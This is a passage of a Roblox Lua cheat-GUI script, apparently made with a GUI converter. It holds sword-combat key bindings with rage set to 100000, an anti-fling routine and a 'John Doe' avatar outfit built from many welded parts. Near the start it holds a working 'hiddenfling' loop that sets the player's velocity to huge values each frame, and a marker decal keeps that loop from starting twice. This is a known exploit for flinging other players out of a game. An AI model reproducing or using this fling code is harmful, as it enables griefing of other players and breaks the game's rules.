				keydown = true
				if key == "z" and Anim.Move == "None" and not Anim.Act then
					Functions.RageRegen()
				end
				if SwordType == "Single" then
					if key == "e" and Anim.Move == "None" and not Anim.Act and RageCost["RotorBlade"] <= Rage then
						Anim.Move = "RotorBlade"
						Anims.RotorBlade(0,1,0.08*Speed,RageCost["RotorBlade"])
						Anim.Move = "None"
					elseif key == "q" and Anim.Move == "None" and not Anim.Act and RageCost["Boomerang"] <= Rage then
						Anim.Move = "Boomerang"
						Anims.Boomerang(0,1,0.08*Speed,RageCost["Boomerang"])
						Anim.Move = "None"
					elseif key == "f" and Anim.Move == "None" and not Anim.Act and RageCost["BoulderForce"] <= Rage then
						Anim.Move = "BoulderForce"
						Anims.BoulderForce(0,1,0.08*Speed,RageCost["BoulderForce"])
						Anim.Move = "None"
					elseif key == "r" and Anim.Move == "None" and not Anim.Act and RageCost["ForceWave"] <= Rage then
						Anim.Move = "ForceWave"
						Anims.ForceWave(0,1,0.08*Speed,RageCost["ForceWave"])
						Anim.Move = "None"
					elseif key == "t" and Anim.Move == "None" and not Anim.Act and RageCost["Teleport"] <= Rage then
						Anim.Move = "Teleport"
						Functions.Teleport(0,1,0.08*Speed,RageCost["Teleport"])
						Anim.Move = "None"
					end
				elseif SwordType == "Dual" then
					if key == "e" and Anim.Move == "None" and not Anim.Act and RageCost["DualSpin"] <= Rage then
						Anim.Move = "DualSpin"
						Anims.DualSpin(0,1,0.08*Speed,RageCost["DualSpin"])
						Anim.Move = "None"
					end
				end
			end)
			mouse.KeyUp:connect(function(key)
				pcall(function() Anim.key[key:lower()] = false end)
				keydown = false
			end)
	
			mouse.Button1Down:connect(function() Anim.Button = true
				if not Anim.Click and Anim.Move == "None" and not Anim.Act then
					Anim.Click = true
					if Anim.CanBerserk ~= 0 then Anim.CanBerserk = Anim.CanBerserk + 1 end
					if Anim.CanBerserk == 0 and RageCost["Berserk"] <= Rage then
						Rage = Rage - RageCost["Berserk"]
						Anim.ComboBreak = true
						Speed = Speed + 0.5
						Anim.CanBerserk = Anim.CanBerserk + 1
						--Anim.Move = "LeftPunch"
						--Anims.LeftPunch(0,1,0.1*Speed,0) Anim.Move = "None"
					elseif Anim.CanBerserk == 2 then
						Anim.CanBerserk = 0
					end
					coroutine.resume(coroutine.create(function() local oldcomb = Anim.CanBerserk wait(0.5) if Anim.ComboBreak == true and Anim.CanBerserk == oldcomb then Anim.ComboBreak = false Speed = Speed -0.5 Anim.CanBerserk = 0 end end))
					wait(0.1)
					Anim.Click = false
				end
			end)
			mouse.Button1Up:connect(function() Anim.Button = false
			end)
		end)
		bin.Deselected:connect(function(mouse)
			Anim.Equipped = false
			if SwordType == "Dual" then Anims.ChangeToSingle(0,1,0.25*Speed) SwordType = "Single" end
			Anims.UnEquip(1,0,-0.08*Speed)
			RW.Parent = nil
			LW.Parent = nil
			RS.Parent = Torso
			RS.Part0 = Torso
			RS.Part1 = Ra
			LS.Parent = Torso
			LS.Part0 = Torso
			LS.Part1 = La
			if Rh.Parent == nil then
				FeetWeld(false,Lh,Rh)
			end
			Torso["Left Hip"].Part0 = Torso
			Torso["Right Hip"].Part0 = Torso
		end)
		Hum.WalkSpeed = RealSpeed
		Rage = 100000
		wait(5)
	
		------
	
		if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
			hiddenfling = true
		else
			hiddenfling = true
			detection = Instance.new("Decal")
			detection.Name = "juisdfj0i32i0eidsuf0iok"
			detection.Parent = game:GetService("ReplicatedStorage")
			local function fling()
				local hrp, c, vel, movel = nil, nil, nil, 0.1
				while true do
					game:GetService("RunService").Heartbeat:Wait()
					if hiddenfling then
						local lp = game.Players.LocalPlayer
						while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
							game:GetService("RunService").Heartbeat:Wait()
							c = lp.Character
							hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
						end
						if hiddenfling then
							vel = hrp.Velocity
							hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
							game:GetService("RunService").RenderStepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel
							end
							game:GetService("RunService").Stepped:Wait()
							if c and c.Parent and hrp and hrp.Parent then
								hrp.Velocity = vel + Vector3.new(0, movel, 0)
								movel = movel * -1
							end
						end
					end
				end
			end
			
			fling()
		end
	end)
end;
task.spawn(C_91);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_93()
local script = G2L["93"];
	local button = script.Parent
	--local input = CoolGui.Frame.Settings
	
	button.MouseButton1Down:connect(function()
		------------
		--John Doe--
		------------
		-----by-----
		--CKbackup--
		------------
	
	
		--Anti Fling--
		AntiFling = true
	
		local function NoCollision(PLR)
			if AntiFling and PLR.Character then
				for _,x in pairs(PLR.Character:GetDescendants()) do
					if x:IsA("BasePart") and x.CanCollide then
						x.CanCollide = false
					end
				end
			end
		end
		for _,v in pairs(game.Players:GetPlayers()) do
			if v ~= game.Players then
				local antifling = game:GetService('RunService').Stepped:connect(function()
					NoCollision(v)
				end)
			end
		end
		game.Players.PlayerAdded:Connect(function()
			if v ~= game.Players.LocalPlayer and antifling then
				local antifling = game:GetService('RunService').Stepped:connect(function()
					NoCollision(v)
				end)
			end
		end)
	
	
		--Player Stuff--
		player = game:GetService("Players").LocalPlayer
		chara = player.Character
	
		ch = chara:GetChildren()
		for i = 1, #ch do
			if ch[i].Name == "Torso" then
				ch[i].roblox.Transparency = 1
			elseif ch[i].Name == "Head" then
				ch[i].face.Transparency = 1
				ch[i].Transparency = 1
			elseif ch[i].ClassName == "Accessory" or ch[i].ClassName == "Shirt" or ch[i].ClassName == "Pants" or ch[i].ClassName == "ShirtGraphic" then
				ch[i]:Destroy()
			end
		end
	
		chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow")
		chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow")
		chara["Left Leg"].BrickColor = BrickColor.new("Medium blue")
		chara["Right Leg"].BrickColor = BrickColor.new("Medium blue")
		chara.Torso.BrickColor = BrickColor.new("Bright yellow")
	
		--Outfit--
		New = function(Object, Parent, Name, Data)
			local Object = Instance.new(Object)
			for Index, Value in pairs(Data or {}) do
				Object[Index] = Value
			end
			Object.Parent = Parent
			Object.Name = Name
			return Object
		end
	
		function ScatterEff(part)
			local eff1 = Instance.new("ParticleEmitter",part)
			eff1.Size = NumberSequence.new(.1)
			eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)})
			eff1.LightEmission = 1
			eff1.Lifetime = NumberRange.new(1)
			eff1.Speed = NumberRange.new(1)
			eff1.Rate = 100
			eff1.VelocitySpread = 10000
			eff1.Texture = "rbxassetid://347504241"
			eff1.Color = ColorSequence.new(Color3.new(1,0,0))
			local eff2 = Instance.new("ParticleEmitter",part)
			eff2.Size = NumberSequence.new(.1)
			eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)})
			eff2.LightEmission = 1
			eff2.Lifetime = NumberRange.new(1)
			eff2.Speed = NumberRange.new(1)
			eff2.Rate = 100
			eff2.VelocitySpread = 10000
			eff2.Texture = "rbxassetid://347504259"
			eff2.Color = ColorSequence.new(Color3.new(1,0,0))
		end
	
		function BurningEff(part)
			local eff1 = Instance.new("ParticleEmitter",part)
			eff1.Size = NumberSequence.new(.1)
			eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
			eff1.LightEmission = 1
			eff1.Lifetime = NumberRange.new(1)
			eff1.Speed = NumberRange.new(0)
			eff1.Rate = 100
			eff1.Texture = "rbxassetid://347504241"
			eff1.Acceleration = Vector3.new(0,10,0)
			eff1.Color = ColorSequence.new(Color3.new(1,0,0))
			local eff2 = Instance.new("ParticleEmitter",part)
			eff2.Size = NumberSequence.new(.1)
			eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
			eff2.LightEmission = 1
			eff2.Lifetime = NumberRange.new(1)
			eff2.Speed = NumberRange.new(0)
			eff2.Rate = 100
			eff2.Texture = "rbxassetid://347504259"
			eff2.Acceleration = Vector3.new(0,10,0)
			eff2.Color = ColorSequence.new(Color3.new(1,0,0))
			local eff3 = Instance.new("ParticleEmitter",part)
			eff3.Size = NumberSequence.new(1)
			eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
			eff3.LightEmission = 1
			eff3.Lifetime = NumberRange.new(1)
			eff3.Speed = NumberRange.new(0)
			eff3.Rate = 100
			eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
			eff3.Acceleration = Vector3.new(0,10,0)
			eff3.Color = ColorSequence.new(Color3.new(1,0,0))
		end
	
		FakeHead = New("Model",chara,"FakeHead",{})
		MainPart = New("Part",FakeHead,"MainPart",{FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 1, 1),CFrame = CFrame.new(2.29537678, 7.81603718, 0.746068954, 0.00980896503, 0.00110200304, 0.999957919, -0.000536994543, 1.00000548, -0.00109680078, -0.99994874, -0.0005262224, 0.00980964955),CanCollide = false,TopSurface = Enum.SurfaceType.Smooth,})
		Mesh = New("SpecialMesh",MainPart,"Mesh",{Scale = Vector3.new(1.25, 1.25, 1.25),})
		face = New("Decal",MainPart,"face",{Texture = "rbxasset://textures/face.png",})
		Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Head,C0 = CFrame.new(0, 0, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),C1 = CFrame.new(5.96046448e-008, -8.58306885e-006, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),})
		FakeHead.MainPart.BrickColor = BrickColor.new("Cool yellow")
		EyeFire = New("Part",FakeHead,"EyeFire",{BrickColor = BrickColor.new("Really red"),Material = Enum.Material.Neon,Size = Vector3.new(0.400000006, 0.200000003, 0.200000003),CFrame = CFrame.new(1.69668579, 8.11665249, 0.640022159, -0.00107900088, 0.999958038, -0.00980941113, -1.0000056, -0.00107390946, 0.000525554642, 0.000515007298, 0.00981007144, 0.999948859),CanCollide = false,Color = Color3.new(1, 0, 0),})
		Mesh = New("CylinderMesh",EyeFire,"Mesh",{Offset = Vector3.new(0.0500000007, 0, -0.0399999991),Scale = Vector3.new(1, 0.150000006, 1),})
		Weld = New("ManualWeld",EyeFire,"Weld",{Part0 = EyeFire,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0010790003, -0.999999344, 0.000515000196, 0.999951363, -0.0010738963, 0.00981000345, -0.00980944186, 0.000525560055, 0.99995178),C1 = CFrame.new(0.100008011, 0.300009251, -0.600027919, 0.00980899762, -0.000536999898, -0.99995178, 0.00110200245, 0.999999344, -0.000526215415, 0.999951363, -0.00109678751, 0.00980958249),})
		Chest = New("Model",chara,"Chest",{})
		MainPart = New("Part",Chest,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 2, 1),CFrame = CFrame.new(2.2937007, 6.31611967, 0.746871948, 0.00980956201, 0.00110224239, 0.999954581, -0.000537135813, 1.00000238, -0.00109703222, -0.99995023, -0.000526354474, 0.00981019717),CanCollide = false,LeftSurface = Enum.SurfaceType.Weld,RightSurface = Enum.SurfaceType.Weld,})
		Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Torso,C0 = CFrame.new(0, 0, 0, 0.009809535, -0.000537137908, -0.99994725, 0.00110225554, 1.00000858, -0.000526368851, 0.999961257, -0.00109705783, 0.00981026888),C1 = CFrame.new(5.96046448e-008, -9.05990601e-006, -2.38418579e-007, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
		CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.800000072, 1),CFrame = CFrame.new(2.28977966, 7.11656427, 1.34486222, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.598430753, 0.800122261, 0.00106739998, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
		CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.400000066, 1),CFrame = CFrame.new(2.29174757, 6.71645212, 1.54485857, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.798183441, 0.399908543, 0.00543618202, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
		LeftArm = New("Model",chara,"LeftArm",{})
		MainPart = New("Part",LeftArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(1.90889204, 6.31596565, 3.24640989, -0.0484240092, -0.0324009918, 0.998301268, -0.00117100019, 0.999474883, 0.0323822871, -0.998826265, 0.000399069104, -0.0484365262),CanCollide = false,})
		Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Arm"],C0 = CFrame.new(0, 0, 0, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),C1 = CFrame.new(0, -8.10623169e-006, -2.38418579e-007, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
		CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(1.48370504, 6.50245714, 2.8663168, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(0.400017738, 0.200018406, -0.400015235, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
		CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.51924801, 6.60332775, 3.66543078, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.399997473, 0.300003052, -0.399972558, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
		EffCorruptedPart = New("Part",LeftArm,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(1.92512023, 5.81624889, 3.24619365, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.52587891e-005, -0.49998045, 2.90870667e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
		CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(2.31463432, 6.72918367, 3.62673688, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.400012016, 0.400006294, 0.400012136, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
		CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.50631011, 6.40297413, 3.26581192, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.3589859e-005, 0.100014687, -0.400020242, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
		CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.92179501, 6.51633835, 3.64602208, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.40000248, 0.200008869, 1.37090683e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
		BurningEff(EffCorruptedPart)
		LeftLeg = New("Model",chara,"LeftLeg",{})
		MainPart = New("Part",LeftLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.2865479, 1.31659603, 1.24781799, 0.00980953407, 0.00110225566, 0.999961138, -0.000537137908, 1.00000858, -0.00109705783, -0.99994719, -0.000526368851, 0.00981026888),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,})
		Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Leg"],C0 = CFrame.new(0, 0, 0, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),C1 = CFrame.new(0, -8.58306885e-006, -2.38418579e-007, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
		EffCorruptedPart = New("Part",LeftLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.200000048, 1),CFrame = CFrame.new(2.28007793, 0.400032878, 1.25993299, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0116856098, -0.916567385, -0.00534534454, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
		CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.88013697, 0.800038397, 0.859943509, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(0.3841483, -0.516796231, -0.40962553, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
		CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(2.69002914, 0.915953577, 0.851962805, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
		Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
		Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(0.400011122, -0.399985313, 0.400013685, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
